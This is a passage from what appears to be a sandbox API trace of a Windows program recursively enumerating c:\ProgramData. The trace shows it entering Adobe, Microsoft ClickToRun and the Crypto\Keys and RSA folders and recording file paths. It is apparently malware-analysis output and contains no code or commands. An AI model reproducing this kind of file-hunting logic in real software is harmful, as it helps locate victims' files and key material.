0x4d57a0 [0123.883] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.883] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.883] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.883] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.883] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.883] lstrcmpW (lpString1="10.0", lpString2=".") returned 1 [0123.883] lstrcmpW (lpString1="10.0", lpString2="..") returned 1 [0123.883] lstrlenW (lpString="c:\\ProgramData\\Adobe\\Acrobat\\") returned 29 [0123.883] lstrlenW (lpString="10.0") returned 4 [0123.883] lstrcatW (in: lpString1="c:\\ProgramData\\Adobe\\Acrobat\\", lpString2="10.0" | out: lpString1="c:\\ProgramData\\Adobe\\Acrobat\\10.0") returned="c:\\ProgramData\\Adobe\\Acrobat\\10.0" [0123.883] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0 [0123.883] FindClose (in: hFindFile=0x4d57a0 | out: hFindFile=0x4d57a0) returned 1 [0123.883] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.883] lstrcmpW (lpString1="ARM", lpString2=".") returned 1 [0123.883] lstrcmpW (lpString1="ARM", lpString2="..") returned 1 [0123.883] lstrlenW (lpString="c:\\ProgramData\\Adobe\\") returned 21 [0123.883] lstrlenW (lpString="ARM") returned 3 [0123.883] lstrcatW (in: lpString1="c:\\ProgramData\\Adobe\\", lpString2="ARM" | out: lpString1="c:\\ProgramData\\Adobe\\ARM") returned="c:\\ProgramData\\Adobe\\ARM" [0123.883] lstrcatW (in: lpString1="c:\\ProgramData\\Adobe\\ARM", lpString2="\\" | out: lpString1="c:\\ProgramData\\Adobe\\ARM\\") returned="c:\\ProgramData\\Adobe\\ARM\\" [0123.883] lstrlenW (lpString="c:\\ProgramData\\Adobe\\ARM\\") returned 25 [0123.883] lstrcatW (in: lpString1="c:\\ProgramData\\Adobe\\ARM\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Adobe\\ARM\\*") returned="c:\\ProgramData\\Adobe\\ARM\\*" [0123.883] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Adobe\\ARM\\*", lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0x4d57a0 [0123.884] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.884] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.884] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.884] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.884] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.885] lstrcmpW (lpString1="Reader_10.0.0", lpString2=".") returned 1 [0123.885] lstrcmpW (lpString1="Reader_10.0.0", lpString2="..") returned 1 [0123.885] lstrlenW (lpString="c:\\ProgramData\\Adobe\\ARM\\") returned 25 [0123.885] lstrlenW (lpString="Reader_10.0.0") returned 13 [0123.885] lstrcatW (in: lpString1="c:\\ProgramData\\Adobe\\ARM\\", lpString2="Reader_10.0.0" | out: lpString1="c:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0") returned="c:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0" [0123.885] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0 [0123.885] FindClose (in: hFindFile=0x4d57a0 | out: hFindFile=0x4d57a0) returned 1 [0123.885] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 0 [0123.885] FindClose (in: hFindFile=0x4d5760 | out: hFindFile=0x4d5760) returned 1 [0123.885] FindNextFileW (in: hFindFile=0x4d5720, lpFindFileData=0x20f2c8 | out: lpFindFileData=0x20f2c8) returned 1 [0123.885] lstrcmpW (lpString1="Application Data", lpString2=".") returned 1 [0123.885] lstrcmpW (lpString1="Application Data", lpString2="..") returned 1 [0123.885] lstrlenW (lpString="c:\\ProgramData\\") returned 15 [0123.885] lstrlenW (lpString="Application Data") returned 16 [0123.885] lstrcatW (in: lpString1="c:\\ProgramData\\", lpString2="Application Data" | out: lpString1="c:\\ProgramData\\Application Data") returned="c:\\ProgramData\\Application Data" [0123.885] lstrcatW (in: lpString1="c:\\ProgramData\\Application Data", lpString2="\\" | out: lpString1="c:\\ProgramData\\Application Data\\") returned="c:\\ProgramData\\Application Data\\" [0123.885] lstrlenW (lpString="c:\\ProgramData\\Application Data\\") returned 32 [0123.885] lstrcatW (in: lpString1="c:\\ProgramData\\Application Data\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Application Data\\*") returned="c:\\ProgramData\\Application Data\\*" [0123.885] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Application Data\\*", lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 0xffffffff [0123.885] FindNextFileW (in: hFindFile=0x4d5720, lpFindFileData=0x20f2c8 | out: lpFindFileData=0x20f2c8) returned 1 [0123.885] lstrcmpW (lpString1="Desktop", lpString2=".") returned 1 [0123.885] lstrcmpW (lpString1="Desktop", lpString2="..") returned 1 [0123.885] lstrlenW (lpString="c:\\ProgramData\\") returned 15 [0123.885] lstrlenW (lpString="Desktop") returned 7 [0123.885] lstrcatW (in: lpString1="c:\\ProgramData\\", lpString2="Desktop" | out: lpString1="c:\\ProgramData\\Desktop") returned="c:\\ProgramData\\Desktop" [0123.885] lstrcatW (in: lpString1="c:\\ProgramData\\Desktop", lpString2="\\" | out: lpString1="c:\\ProgramData\\Desktop\\") returned="c:\\ProgramData\\Desktop\\" [0123.885] lstrlenW (lpString="c:\\ProgramData\\Desktop\\") returned 23 [0123.885] lstrcatW (in: lpString1="c:\\ProgramData\\Desktop\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Desktop\\*") returned="c:\\ProgramData\\Desktop\\*" [0123.885] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Desktop\\*", lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 0xffffffff [0123.885] FindNextFileW (in: hFindFile=0x4d5720, lpFindFileData=0x20f2c8 | out: lpFindFileData=0x20f2c8) returned 1 [0123.885] lstrcmpW (lpString1="Documents", lpString2=".") returned 1 [0123.885] lstrcmpW (lpString1="Documents", lpString2="..") returned 1 [0123.885] lstrlenW (lpString="c:\\ProgramData\\") returned 15 [0123.885] lstrlenW (lpString="Documents") returned 9 [0123.885] lstrcatW (in: lpString1="c:\\ProgramData\\", lpString2="Documents" | out: lpString1="c:\\ProgramData\\Documents") returned="c:\\ProgramData\\Documents" [0123.885] lstrcatW (in: lpString1="c:\\ProgramData\\Documents", lpString2="\\" | out: lpString1="c:\\ProgramData\\Documents\\") returned="c:\\ProgramData\\Documents\\" [0123.885] lstrlenW (lpString="c:\\ProgramData\\Documents\\") returned 25 [0123.885] lstrcatW (in: lpString1="c:\\ProgramData\\Documents\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Documents\\*") returned="c:\\ProgramData\\Documents\\*" [0123.885] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Documents\\*", lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 0xffffffff [0123.885] FindNextFileW (in: hFindFile=0x4d5720, lpFindFileData=0x20f2c8 | out: lpFindFileData=0x20f2c8) returned 1 [0123.886] lstrcmpW (lpString1="Favorites", lpString2=".") returned 1 [0123.886] lstrcmpW (lpString1="Favorites", lpString2="..") returned 1 [0123.886] lstrlenW (lpString="c:\\ProgramData\\") returned 15 [0123.886] lstrlenW (lpString="Favorites") returned 9 [0123.886] lstrcatW (in: lpString1="c:\\ProgramData\\", lpString2="Favorites" | out: lpString1="c:\\ProgramData\\Favorites") returned="c:\\ProgramData\\Favorites" [0123.886] lstrcatW (in: lpString1="c:\\ProgramData\\Favorites", lpString2="\\" | out: lpString1="c:\\ProgramData\\Favorites\\") returned="c:\\ProgramData\\Favorites\\" [0123.886] lstrlenW (lpString="c:\\ProgramData\\Favorites\\") returned 25 [0123.886] lstrcatW (in: lpString1="c:\\ProgramData\\Favorites\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Favorites\\*") returned="c:\\ProgramData\\Favorites\\*" [0123.886] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Favorites\\*", lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 0xffffffff [0123.886] FindNextFileW (in: hFindFile=0x4d5720, lpFindFileData=0x20f2c8 | out: lpFindFileData=0x20f2c8) returned 1 [0123.886] lstrcmpW (lpString1="Microsoft", lpString2=".") returned 1 [0123.886] lstrcmpW (lpString1="Microsoft", lpString2="..") returned 1 [0123.886] lstrlenW (lpString="c:\\ProgramData\\") returned 15 [0123.886] lstrlenW (lpString="Microsoft") returned 9 [0123.886] lstrcatW (in: lpString1="c:\\ProgramData\\", lpString2="Microsoft" | out: lpString1="c:\\ProgramData\\Microsoft") returned="c:\\ProgramData\\Microsoft" [0123.886] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft", lpString2="\\" | out: lpString1="c:\\ProgramData\\Microsoft\\") returned="c:\\ProgramData\\Microsoft\\" [0123.886] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\") returned 25 [0123.886] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Microsoft\\*") returned="c:\\ProgramData\\Microsoft\\*" [0123.886] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Microsoft\\*", lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 0x4d5760 [0123.886] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.886] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.886] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.886] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.886] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.886] lstrcmpW (lpString1="Assistance", lpString2=".") returned 1 [0123.886] lstrcmpW (lpString1="Assistance", lpString2="..") returned 1 [0123.886] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\") returned 25 [0123.886] lstrlenW (lpString="Assistance") returned 10 [0123.886] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\", lpString2="Assistance" | out: lpString1="c:\\ProgramData\\Microsoft\\Assistance") returned="c:\\ProgramData\\Microsoft\\Assistance" [0123.886] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Assistance", lpString2="\\" | out: lpString1="c:\\ProgramData\\Microsoft\\Assistance\\") returned="c:\\ProgramData\\Microsoft\\Assistance\\" [0123.886] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Assistance\\") returned 36 [0123.886] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Assistance\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Microsoft\\Assistance\\*") returned="c:\\ProgramData\\Microsoft\\Assistance\\*" [0123.886] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Microsoft\\Assistance\\*", lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0x4d57a0 [0123.886] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.886] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.886] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.886] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.886] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.886] lstrcmpW (lpString1="Client", lpString2=".") returned 1 [0123.886] lstrcmpW (lpString1="Client", lpString2="..") returned 1 [0123.886] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Assistance\\") returned 36 [0123.886] lstrlenW (lpString="Client") returned 6 [0123.887] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Assistance\\", lpString2="Client" | out: lpString1="c:\\ProgramData\\Microsoft\\Assistance\\Client") returned="c:\\ProgramData\\Microsoft\\Assistance\\Client" [0123.887] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0 [0123.887] FindClose (in: hFindFile=0x4d57a0 | out: hFindFile=0x4d57a0) returned 1 [0123.887] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.887] lstrcmpW (lpString1="ClickToRun", lpString2=".") returned 1 [0123.887] lstrcmpW (lpString1="ClickToRun", lpString2="..") returned 1 [0123.887] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\") returned 25 [0123.887] lstrlenW (lpString="ClickToRun") returned 10 [0123.887] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\", lpString2="ClickToRun" | out: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun") returned="c:\\ProgramData\\Microsoft\\ClickToRun" [0123.887] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun", lpString2="\\" | out: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun\\") returned="c:\\ProgramData\\Microsoft\\ClickToRun\\" [0123.887] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\ClickToRun\\") returned 36 [0123.887] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun\\*") returned="c:\\ProgramData\\Microsoft\\ClickToRun\\*" [0123.887] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Microsoft\\ClickToRun\\*", lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0x4d57a0 [0123.887] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.887] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.887] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.887] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.887] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.887] lstrcmpW (lpString1="23A8C7B1-0195-4D07-B6CF-93A6BF126B2A", lpString2=".") returned 1 [0123.887] lstrcmpW (lpString1="23A8C7B1-0195-4D07-B6CF-93A6BF126B2A", lpString2="..") returned 1 [0123.887] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\ClickToRun\\") returned 36 [0123.887] lstrlenW (lpString="23A8C7B1-0195-4D07-B6CF-93A6BF126B2A") returned 36 [0123.887] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun\\", lpString2="23A8C7B1-0195-4D07-B6CF-93A6BF126B2A" | out: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun\\23A8C7B1-0195-4D07-B6CF-93A6BF126B2A") returned="c:\\ProgramData\\Microsoft\\ClickToRun\\23A8C7B1-0195-4D07-B6CF-93A6BF126B2A" [0123.887] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.887] lstrcmpW (lpString1="ADF651D2-0955-41AF-92E7-FAF4B0CAEB96", lpString2=".") returned 1 [0123.887] lstrcmpW (lpString1="ADF651D2-0955-41AF-92E7-FAF4B0CAEB96", lpString2="..") returned 1 [0123.887] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\ClickToRun\\") returned 36 [0123.887] lstrlenW (lpString="ADF651D2-0955-41AF-92E7-FAF4B0CAEB96") returned 36 [0123.887] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun\\", lpString2="ADF651D2-0955-41AF-92E7-FAF4B0CAEB96" | out: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun\\ADF651D2-0955-41AF-92E7-FAF4B0CAEB96") returned="c:\\ProgramData\\Microsoft\\ClickToRun\\ADF651D2-0955-41AF-92E7-FAF4B0CAEB96" [0123.887] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.887] lstrcmpW (lpString1="B67F2A9E-0258-4BAE-8ED4-AFE18C0C9A23", lpString2=".") returned 1 [0123.887] lstrcmpW (lpString1="B67F2A9E-0258-4BAE-8ED4-AFE18C0C9A23", lpString2="..") returned 1 [0123.887] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\ClickToRun\\") returned 36 [0123.887] lstrlenW (lpString="B67F2A9E-0258-4BAE-8ED4-AFE18C0C9A23") returned 36 [0123.887] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun\\", lpString2="B67F2A9E-0258-4BAE-8ED4-AFE18C0C9A23" | out: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun\\B67F2A9E-0258-4BAE-8ED4-AFE18C0C9A23") returned="c:\\ProgramData\\Microsoft\\ClickToRun\\B67F2A9E-0258-4BAE-8ED4-AFE18C0C9A23" [0123.887] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.887] lstrcmpW (lpString1="D3BE4D83-2D47-4B3D-97F1-5483AB9ADC5C", lpString2=".") returned 1 [0123.887] lstrcmpW (lpString1="D3BE4D83-2D47-4B3D-97F1-5483AB9ADC5C", lpString2="..") returned 1 [0123.887] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\ClickToRun\\") returned 36 [0123.887] lstrlenW (lpString="D3BE4D83-2D47-4B3D-97F1-5483AB9ADC5C") returned 36 [0123.887] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun\\", lpString2="D3BE4D83-2D47-4B3D-97F1-5483AB9ADC5C" | out: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun\\D3BE4D83-2D47-4B3D-97F1-5483AB9ADC5C") returned="c:\\ProgramData\\Microsoft\\ClickToRun\\D3BE4D83-2D47-4B3D-97F1-5483AB9ADC5C" [0123.887] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.887] lstrcmpW (lpString1="DeploymentConfig.0.xml", lpString2=".") returned 1 [0123.888] lstrcmpW (lpString1="DeploymentConfig.0.xml", lpString2="..") returned 1 [0123.888] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\ClickToRun\\") returned 36 [0123.888] lstrlenW (lpString="DeploymentConfig.0.xml") returned 22 [0123.888] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun\\", lpString2="DeploymentConfig.0.xml" | out: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.0.xml") returned="c:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.0.xml" [0123.888] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.0.xml") returned 58 [0123.888] lstrcpyW (in: lpString1=0x24b62f8, lpString2="c:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.0.xml" | out: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.0.xml") returned="c:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.0.xml" [0123.888] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.888] lstrcmpW (lpString1="DeploymentConfig.1.xml", lpString2=".") returned 1 [0123.888] lstrcmpW (lpString1="DeploymentConfig.1.xml", lpString2="..") returned 1 [0123.888] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\ClickToRun\\") returned 36 [0123.888] lstrlenW (lpString="DeploymentConfig.1.xml") returned 22 [0123.888] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun\\", lpString2="DeploymentConfig.1.xml" | out: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.1.xml") returned="c:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.1.xml" [0123.888] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.1.xml") returned 58 [0123.888] lstrcpyW (in: lpString1=0x24b6378, lpString2="c:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.1.xml" | out: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.1.xml") returned="c:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.1.xml" [0123.888] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.888] lstrcmpW (lpString1="DeploymentConfig.2.xml", lpString2=".") returned 1 [0123.888] lstrcmpW (lpString1="DeploymentConfig.2.xml", lpString2="..") returned 1 [0123.888] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\ClickToRun\\") returned 36 [0123.888] lstrlenW (lpString="DeploymentConfig.2.xml") returned 22 [0123.888] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun\\", lpString2="DeploymentConfig.2.xml" | out: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.2.xml") returned="c:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.2.xml" [0123.888] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.2.xml") returned 58 [0123.888] lstrcpyW (in: lpString1=0x24b63f8, lpString2="c:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.2.xml" | out: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.2.xml") returned="c:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.2.xml" [0123.888] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.888] lstrcmpW (lpString1="FCE80778-F5A2-48B5-BF04-93D6E887CBA7", lpString2=".") returned 1 [0123.888] lstrcmpW (lpString1="FCE80778-F5A2-48B5-BF04-93D6E887CBA7", lpString2="..") returned 1 [0123.888] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\ClickToRun\\") returned 36 [0123.888] lstrlenW (lpString="FCE80778-F5A2-48B5-BF04-93D6E887CBA7") returned 36 [0123.888] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun\\", lpString2="FCE80778-F5A2-48B5-BF04-93D6E887CBA7" | out: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun\\FCE80778-F5A2-48B5-BF04-93D6E887CBA7") returned="c:\\ProgramData\\Microsoft\\ClickToRun\\FCE80778-F5A2-48B5-BF04-93D6E887CBA7" [0123.888] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.888] lstrcmpW (lpString1="MachineData", lpString2=".") returned 1 [0123.888] lstrcmpW (lpString1="MachineData", lpString2="..") returned 1 [0123.888] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\ClickToRun\\") returned 36 [0123.888] lstrlenW (lpString="MachineData") returned 11 [0123.888] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun\\", lpString2="MachineData" | out: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun\\MachineData") returned="c:\\ProgramData\\Microsoft\\ClickToRun\\MachineData" [0123.888] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.888] lstrcmpW (lpString1="ProductReleases", lpString2=".") returned 1 [0123.888] lstrcmpW (lpString1="ProductReleases", lpString2="..") returned 1 [0123.888] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\ClickToRun\\") returned 36 [0123.888] lstrlenW (lpString="ProductReleases") returned 15 [0123.888] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun\\", lpString2="ProductReleases" | out: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases") returned="c:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases" [0123.888] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.888] lstrcmpW (lpString1="UserData", lpString2=".") returned 1 [0123.888] lstrcmpW (lpString1="UserData", lpString2="..") returned 1 [0123.888] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\ClickToRun\\") returned 36 [0123.888] lstrlenW (lpString="UserData") returned 8 [0123.888] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun\\", lpString2="UserData" | out: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun\\UserData") returned="c:\\ProgramData\\Microsoft\\ClickToRun\\UserData" [0123.888] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.888] lstrcmpW (lpString1="{9AC08E99-230B-47e8-9721-4577B7F124EA}", lpString2=".") returned 1 [0123.888] lstrcmpW (lpString1="{9AC08E99-230B-47e8-9721-4577B7F124EA}", lpString2="..") returned 1 [0123.888] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\ClickToRun\\") returned 36 [0123.888] lstrlenW (lpString="{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned 38 [0123.888] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun\\", lpString2="{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="c:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" [0123.888] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0 [0123.889] FindClose (in: hFindFile=0x4d57a0 | out: hFindFile=0x4d57a0) returned 1 [0123.889] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.889] lstrcmpW (lpString1="Crypto", lpString2=".") returned 1 [0123.889] lstrcmpW (lpString1="Crypto", lpString2="..") returned 1 [0123.889] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\") returned 25 [0123.889] lstrlenW (lpString="Crypto") returned 6 [0123.889] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\", lpString2="Crypto" | out: lpString1="c:\\ProgramData\\Microsoft\\Crypto") returned="c:\\ProgramData\\Microsoft\\Crypto" [0123.889] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Crypto", lpString2="\\" | out: lpString1="c:\\ProgramData\\Microsoft\\Crypto\\") returned="c:\\ProgramData\\Microsoft\\Crypto\\" [0123.889] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Crypto\\") returned 32 [0123.889] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Crypto\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Microsoft\\Crypto\\*") returned="c:\\ProgramData\\Microsoft\\Crypto\\*" [0123.889] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Microsoft\\Crypto\\*", lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0x4d57a0 [0123.889] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.889] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.889] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.889] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.889] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.889] lstrcmpW (lpString1="DSS", lpString2=".") returned 1 [0123.889] lstrcmpW (lpString1="DSS", lpString2="..") returned 1 [0123.889] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Crypto\\") returned 32 [0123.889] lstrlenW (lpString="DSS") returned 3 [0123.889] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Crypto\\", lpString2="DSS" | out: lpString1="c:\\ProgramData\\Microsoft\\Crypto\\DSS") returned="c:\\ProgramData\\Microsoft\\Crypto\\DSS" [0123.889] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.889] lstrcmpW (lpString1="Keys", lpString2=".") returned 1 [0123.889] lstrcmpW (lpString1="Keys", lpString2="..") returned 1 [0123.889] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Crypto\\") returned 32 [0123.889] lstrlenW (lpString="Keys") returned 4 [0123.889] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Crypto\\", lpString2="Keys" | out: lpString1="c:\\ProgramData\\Microsoft\\Crypto\\Keys") returned="c:\\ProgramData\\Microsoft\\Crypto\\Keys" [0123.889] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.889] lstrcmpW (lpString1="RSA", lpString2=".") returned 1 [0123.889] lstrcmpW (lpString1="RSA", 